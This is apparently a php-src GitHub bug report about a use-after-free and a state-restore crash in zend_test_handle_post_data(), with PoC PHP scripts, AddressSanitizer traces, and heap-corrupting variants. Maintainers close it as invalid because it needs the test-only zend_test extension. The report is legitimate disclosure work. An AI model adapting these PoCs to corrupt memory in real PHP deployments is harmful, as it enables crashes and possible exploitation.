Repository navigation
Description
Description
zend_test_handle_post_data() (ext/zend_test, --enable-zend-test) gives $_POST and $_FILES a fresh array on every call: zend_test_reset_track_vars() drops the reference kept in PG(http_globals)[...], the POST handler fills the new array, and zend_test_publish_track_vars() finally replaces the global variable with zend_hash_str_update() (ext/zend_test/test.c:1108). _zend_hash_str_add_or_update_i() destroys the old bucket value (Zend/zend_hash.c:1112) before it stores the new one (:1114). While destructors of the old array's elements run, the global still points to the array that is being destroyed, so every access to $_POST from such a destructor is a use-after-free.
The function only exists in builds configured with --enable-zend-test (it was added in php-8.3.36, php-8.4.27, php-8.5.12 and php-8.6.0), so this is not reachable in a default build.
The following code:
<?php
// idx 186 — zend_test_handle_post_data(): publishing the new $_POST overwrites the previous one
// Chain (ext/zend_test/test.c):
// zend_test_reset_track_vars (test.c:1091) creates the auto-global if needed and then replaces the
// array in the PG(http_globals) slot by a new one (:1099-1100); the previous array A stays in the
// _POST bucket of the symbol table (rc=1)
// the POST handler reads the user stream through php_stream_read → the userland stream_read runs
// in this window and $_POST['x'] = new Foo goes into the old array A (FETCH_W resolves to the
// plain array in the bucket)
// publish → zend_hash_str_update(_POST, A2) runs pDestructor on the old bucket value A first
// (zend_hash.c:1112) → zend_array_destroy(A) → Foo::__destruct
// └─ $copy = $_POST takes a reference on the dying array A (rc 0→1); the loop copies the pad
// element that was released before Foo (use-after-free read); unset($copy) only drops the
// reference again, the array header is freed once when the outer destruction loop finishes
class Foo {
public function __destruct() {
$copy = $_POST; // the array that is being destroyed right now
foreach ($copy as $k => $v) { // use-after-free read: 'pad' was released by the outer destruction loop
echo $k, "\n";
}
unset($copy);
}
}
class EvilStream {
public $context;
public function stream_open($path, $mode, $options, &$opened_path) { return true; }
public function stream_read($count) {
// At this moment: reset has replaced the PG slot by A2, the old array A is still held by the _POST bucket (rc=1)
$_POST['pad'] = str_repeat('P', 128); // filler element, injected first
$_POST['x'] = new Foo(); // object with a destructor, injected after it
return 'a=1&b=2'; // a valid urlencoded request body
}
public function stream_eof() { return true; }
public function stream_stat() { return []; }
public function stream_close() {}
public function stream_seek($off, $whence, &$pos) { return true; }
public function stream_tell() { return 0; }
}
stream_wrapper_register('evil', 'EvilStream');
$s = fopen('evil://body', 'r');
// 1st call: creates $_POST and already runs into the same window
zend_test_handle_post_data($s, 'application/x-www-form-urlencoded', 7);
// 2nd call: trigger point — publish overwrites the previous array A and re-enters through its destructor
zend_test_handle_post_data($s, 'application/x-www-form-urlencoded', 7);
echo "SURVIVED - no crash\n";Resulted in this output:
$ USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 sapi/cli/php poc.php
ERROR: AddressSanitizer: heap-use-after-free on address 0x50e0000ac2c0 at pc 0x608e864c931b bp 0x7ffd6e6f85e0 sp 0x7ffd6e6f85d0
READ of size 4 at 0x50e0000ac2c0 thread T0
#0 0x608e864c931a in zend_gc_addref Zend/zend_types.h:1377
#1 0x608e864c931a in zval_addref_p Zend/zend_types.h:1426
#2 0x608e864c931a in zend_copy_to_variable Zend/zend_execute.h:154
#3 0x608e864c931a in zend_assign_to_variable Zend/zend_execute.h:188
#4 0x608e864c931a in ZEND_FE_FETCH_R_SPEC_VAR_HANDLER Zend/zend_vm_execute.h:23696
#5 0x608e864c931a in execute_ex Zend/zend_vm_execute.h:119367
#6 0x608e863197d3 in zend_call_function Zend/zend_execute_API.c:1039
#7 0x608e8631ae7d in zend_call_known_function Zend/zend_execute_API.c:1136
#8 0x608e865adb1e in zend_call_known_instance_method Zend/zend_API.h:904
#9 0x608e865adb1e in zend_call_known_instance_method_with_0_params Zend/zend_API.h:910
#10 0x608e865adb1e in zend_objects_destroy_object Zend/zend_objects.c:172
#11 0x608e865ac9da in zend_objects_store_del Zend/zend_objects_API.c:181
#12 0x608e865ee80e in rc_dtor_func Zend/zend_variables.c:57
#13 0x608e86512d19 in i_zval_ptr_dtor Zend/zend_variables.h:45
#14 0x608e86512d19 in zend_array_destroy Zend/zend_hash.c:2061
#15 0x608e865ee80e in rc_dtor_func Zend/zend_variables.c:57
#16 0x608e865eead6 in i_zval_ptr_dtor Zend/zend_variables.h:45
#17 0x608e865eead6 in zval_ptr_dtor Zend/zend_variables.c:84
#18 0x608e865067ec in _zend_hash_str_add_or_update_i Zend/zend_hash.c:1112
#19 0x608e865067ec in zend_hash_str_update Zend/zend_hash.c:1217
#20 0x608e860bd4be in zend_test_publish_track_vars ext/zend_test/test.c:1108
#21 0x608e860bd4be in zif_zend_test_handle_post_data ext/zend_test/test.c:1175
0x50e0000ac2c0 is located 0 bytes inside of 160-byte region [0x50e0000ac2c0,0x50e0000ac360)
freed by thread T0 here:
#1 0x608e86223c16 in __zend_free Zend/zend_alloc.c:3976
#2 0x608e862325db in _efree Zend/zend_alloc.c:2928
#3 0x608e865ee80e in rc_dtor_func Zend/zend_variables.c:57
#4 0x608e86512d19 in i_zval_ptr_dtor Zend/zend_variables.h:45
#5 0x608e86512d19 in zend_array_destroy Zend/zend_hash.c:2061
#6 0x608e865ee80e in rc_dtor_func Zend/zend_variables.c:57
#7 0x608e865eead6 in i_zval_ptr_dtor Zend/zend_variables.h:45
#8 0x608e865eead6 in zval_ptr_dtor Zend/zend_variables.c:84
#9 0x608e865067ec in _zend_hash_str_add_or_update_i Zend/zend_hash.c:1112
#10 0x608e865067ec in zend_hash_str_update Zend/zend_hash.c:1217
#11 0x608e860bd4be in zend_test_publish_track_vars ext/zend_test/test.c:1108
previously allocated by thread T0 here:
#1 0x608e86224dff in __zend_malloc Zend/zend_alloc.c:3947
#2 0x608e86232343 in _emalloc Zend/zend_alloc.c:2918
#3 0x608e86234551 in _safe_emalloc Zend/zend_alloc.c:2976
#4 0x608e86234e61 in _safe_femalloc Zend/zend_alloc.c:3098
#5 0x608e85fea447 in zend_string_safe_falloc Zend/zend_string.h:189
#6 0x608e85fea447 in zif_str_repeat ext/standard/string.c:5651
#7 0x608e864abce4 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER Zend/zend_vm_execute.h:1426
#8 0x608e864abce4 in execute_ex Zend/zend_vm_execute.h:116555
#9 0x608e863197d3 in zend_call_function Zend/zend_execute_API.c:1039
#10 0x608e8631ac3c in zend_call_known_function Zend/zend_execute_API.c:1136
#11 0x608e8631b446 in zend_call_known_fcc Zend/zend_API.h:896
#12 0x608e8631b446 in zend_call_method_if_exists Zend/zend_execute_API.c:1173
#13 0x608e86127c38 in php_userstreamop_read main/streams/userspace.c:624
#14 0x608e86114e1b in _php_stream_fill_read_buffer main/streams/streams.c:730
#15 0x608e86115205 in _php_stream_read main/streams/streams.c:793
#16 0x608e860a8c3b in zend_test_read_post ext/zend_test/test.c:1114
#17 0x608e860f5d6c in sapi_read_post_block main/SAPI.c:244
#18 0x608e860f5f88 in sapi_read_standard_form_data main/SAPI.c:277
#19 0x608e860f5c41 in sapi_read_post_data main/SAPI.c:228
#20 0x608e860bd945 in zif_zend_test_handle_post_data ext/zend_test/test.c:1169
SUMMARY: AddressSanitizer: heap-use-after-free Zend/zend_types.h:1377 in zend_gc_addref
(The AddressSanitizer/libc frames, the frames below zif_zend_test_handle_post_data() and the shadow bytes are omitted; paths are relative to php-src.)
Without AddressSanitizer the script reads the keys out of the freed array and exits with code 0 (30/30 runs, with the default allocator and with USE_ZEND_ALLOC=0):
$ sapi/cli/php poc.php
pad
x
a
b
pad
x
SURVIVED - no crash
But I expected this output instead:
a
b
a
b
SURVIVED - no crash
i.e. no use-after-free. With the patch below the destructor sees the new $_POST, which is what both calls then print.
Root cause
zend_test_reset_track_vars()(ext/zend_test/test.c:1091-1101) creates the auto-global if needed (zend_is_auto_global_str(),:1095; for$_POSTthis isphp_auto_globals_create_post(),main/php_variables.c:840-857, which stores the array in the global's bucket at:853with a reference at:854), then releases the reference held byPG(http_globals)[TRACK_VARS_POST](:1099) and puts a new array into that slot (:1100). From here on the global variable and the slot hold different arrays; the global holds the previous array with refcount 1.sapi_read_post_data()(:1169) reads the body throughsapi_read_post_block()(main/SAPI.c:244) →zend_test_read_post()(test.c:1112-1117) →php_stream_read(). For a userland stream wrapper this callsstream_read(), which writespadandxinto the previous array through$_POST.zend_test_publish_track_vars()(:1175) callszend_hash_str_update()(Zend/zend_hash.c:1217) →_zend_hash_str_add_or_update_i(). The bucket exists, soht->pDestructor(data)(:1112) releases the previous array (refcount 1 → 0):zend_array_destroy()(:2030) marks the arrayGC_NULL(:2037) and releases the elements in order (:2061).padis freed, then the destructor ofxruns throughzend_objects_store_del()(Zend/zend_objects_API.c:181) andzend_objects_destroy_object()(Zend/zend_objects.c:172).- In the destructor
$_POSTis looked up in the symbol table, whose_POSTbucket still holds the dying array.$copy = $_POSTtakes a reference on it (refcount 0 → 1), andforeachcopiespad(zend_copy_to_variable(),Zend/zend_execute.h:154→zend_gc_addref()), which is already freed. - Only after the destructor returns does
_zend_hash_str_add_or_update_i()store the new array (:1114), andzend_test_publish_track_vars()takes the reference for the bucket (Z_ADDREF_P(),test.c:1109).
Confirmed with gdb on a plain build: refcount of the previous array 1 → 0 at zend_hash.c:1112, 0 → 1 when the destructor reads $_POST, 1 → 2 and 2 → 1 for the foreach, 1 → 0 for unset($copy); its header is freed once, when the outer zend_array_destroy() returns. unset($copy) does not destroy it a second time because its type is already GC_NULL.
A single call is enough: the first call hits the same window with the array that php_auto_globals_create_post() installed (php_variables.c:853), which is why the PoC prints pad x for the first call and a b pad x for the second. $_FILES is replaced the same way (:1176).
Variants
No userland stream wrapper is needed. Any previous $_POST content works as long as a refcounted element is released before the destructor runs (20/20, same report):
<?php
class Foo {
public function __destruct() {
$copy = $_POST;
foreach ($copy as $k => $v) {
echo $k, "\n";
}
}
}
$_POST = ['pad' => str_repeat('P', 128), 'x' => new Foo()];
$s = fopen('php://memory', 'r+');
fwrite($s, 'a=1&b=2');
rewind($s);
zend_test_handle_post_data($s, 'application/x-www-form-urlencoded', 7);With the object first (['x' => new Foo(), 'pad' => ...]) there is no error: nothing has been released when the destructor runs.
$_FILES: storing the object in $_FILES['x'] instead gives the same report from the second publish (test.c:1176).
Non-ASan builds. The PoC itself leaves no lasting damage, it only increments and decrements the refcount of the freed pad string. One more line in the destructor is enough to corrupt the heap:
public function __destruct() {
$_POST['pad'] = 'changed'; // replaces 'pad', which the destruction loop has already released
$copy = $_POST;
...
}$ sapi/cli/php write.php
pad
x
zend_mm_heap corrupted
Aborted (exit status 134)
30/30 runs with the default allocator. With USE_ZEND_ALLOC=0 this particular variant survives, but a variant with non-interned keys aborts with malloc(): unaligned tcache chunk detected in 18/30 runs, and one that keeps a copy of the array in $GLOBALS segfaults in 17/30 runs.
Built-in web server with a real POST request. Put the PoC in the document root of php -S and send curl -d 'q=1&w=2' http://127.0.0.1:8000/poc.php. The previous $_POST is now the request's own data, whose non-interned keys and values the destruction loop releases before the destructor runs (Zend/zend_hash.c:2065-2067), so the destructor reads freed strings. With ASan the first request reports heap-use-after-free in ZEND_FE_FETCH_R_SPEC_VAR_HANDLER (5/5 server runs). Without ASan the server process died in 10/10 runs: 5 times during the first request with zend_mm_heap corrupted, 5 times with SIGSEGV while the second request was read (see the next section).
Second problem in the same function: the SAPI state is not restored after a bailout
zend_test_handle_post_data() temporarily replaces process-wide state: sapi_module.read_post (test.c:1152), the file-static zend_test_post_stream (:1086, :1151), SG(request_info) (:1154-1159), SG(read_post_bytes) and SG(post_read) (:1160-1161). Only the body reading and the POST handler are inside zend_try (:1165-1173); the two zend_test_publish_track_vars() calls (:1175-1176) and the restore (:1185-1189) are not. A destructor that runs during one of these two calls and terminates the request with a real zend_bailout() skips the restore, so sapi_module.read_post stays zend_test_read_post and zend_test_post_stream keeps pointing at a stream that is freed when the request ends. In a single-request run this does not matter. In a multi-request SAPI such as the built-in web server, the next POST request is read through the stale callback in sapi_activate() (main/SAPI.c:477) and crashes.
This does not need the first problem. Save this as timedtor.php in the document root of php -S 127.0.0.1:8000 and send two requests: curl -d 'q=1&w=2' http://127.0.0.1:8000/timedtor.php
<?php
class Foo {
public function __destruct() {
set_time_limit(1);
while (true) { } // "Maximum execution time of 1 second exceeded" → zend_bailout()
}
}
$_POST = ['x' => new Foo()];
$s = fopen('php://memory', 'r+');
fwrite($s, 'a=1&b=2');
rewind($s);
zend_test_handle_post_data($s, 'application/x-www-form-urlencoded', 7);
echo "not reached\n";The first request is answered with that fatal error, as expected. The second request kills the server process. With ASan (USE_ZEND_ALLOC=0), during the second request (5/5 server runs):
ERROR: AddressSanitizer: heap-use-after-free on address 0x5110000027b8 at pc 0x58394e9151bd bp 0x7ffdc23450a0 sp 0x7ffdc2345090
READ of size 8 at 0x5110000027b8 thread T0
#0 0x58394e9151bc in _php_stream_read main/streams/streams.c:762
#1 0x58394e8a8c3b in zend_test_read_post ext/zend_test/test.c:1114
#2 0x58394e8f5d6c in sapi_read_post_block main/SAPI.c:244
#3 0x58394e8f5f88 in sapi_read_standard_form_data main/SAPI.c:277
#4 0x58394e8f5c41 in sapi_read_post_data main/SAPI.c:228
#5 0x58394e8f67b9 in sapi_activate main/SAPI.c:477
#6 0x58394e8c9e8e in php_request_startup main/main.c:1940
#7 0x58394ee1d947 in php_cli_server_request_startup sapi/cli/php_cli_server.c:2246
#8 0x58394ee1d947 in php_cli_server_dispatch sapi/cli/php_cli_server.c:2322
0x5110000027b8 is located 184 bytes inside of 224-byte region [0x511000002700,0x5110000027e0)
freed by thread T0 here:
#1 0x58394ea23c16 in __zend_free Zend/zend_alloc.c:3976
#2 0x58394ea325db in _efree Zend/zend_alloc.c:2928
#3 0x58394e918b22 in _php_stream_free main/streams/streams.c:548
#4 0x58394e918d18 in stream_resource_regular_dtor main/streams/streams.c:1919
#5 0x58394ed94751 in zend_resource_dtor Zend/zend_list.c:73
#6 0x58394ed95969 in zend_close_rsrc_list Zend/zend_list.c:228
#7 0x58394eb11895 in zend_shutdown_executor_values Zend/zend_execute_API.c:277
#8 0x58394eb13677 in shutdown_executor Zend/zend_execute_API.c:468
#9 0x58394eb02676 in zend_deactivate Zend/zend.c:1358
#10 0x58394ecab2f in php_request_shutdown main/main.c:2063
#11 0x58394ee1b1e6 in php_cli_server_request_shutdown sapi/cli/php_cli_server.c:2256
(The stream was freed at the end of the previous request; same omissions as above.)
Without ASan: SIGSEGV in memcpy() ← _php_stream_read() (main/streams/streams.c:769) ← zend_test_read_post() (test.c:1114) ← sapi_read_post_block() (main/SAPI.c:244) ← sapi_activate() (:477), 5/5 server runs.
exit() and the memory-limit error do not trigger this on 8.5 (exit() is UnwindExit and the memory-limit error is delayed, both return normally through the C code); a real zend_bailout() is needed. For the PoC in the built-in server the bailout comes from the output layer: the destructor echoes a key read from freed memory, and php_handle_aborted_connection() (main/main.c:2776) calls zend_bailout() from inside zend_test_publish_track_vars().
PHP Version
PHP 8.5.12
Operating System
Ubuntu 24.04.5 LTS, Linux 7.0.0-38-generic x86_64
Activity
ndossche commentedon Nov 24, 2026
zend_test gives access to engine internals, and is only used by php-src developers to test low-level functionality, it is not exposed to users of the php language.
It can be used to break anything in PHP.
If this is not reproducible without zend_test, then this is not a valid bug report.
xuziqiang98 commentedon Nov 25, 2026
thanks maintainer, you're right. it can be considered as normal and expected behavior
ndossche commentedon Nov 25, 2026
Closing as invalid due to zend_test requirement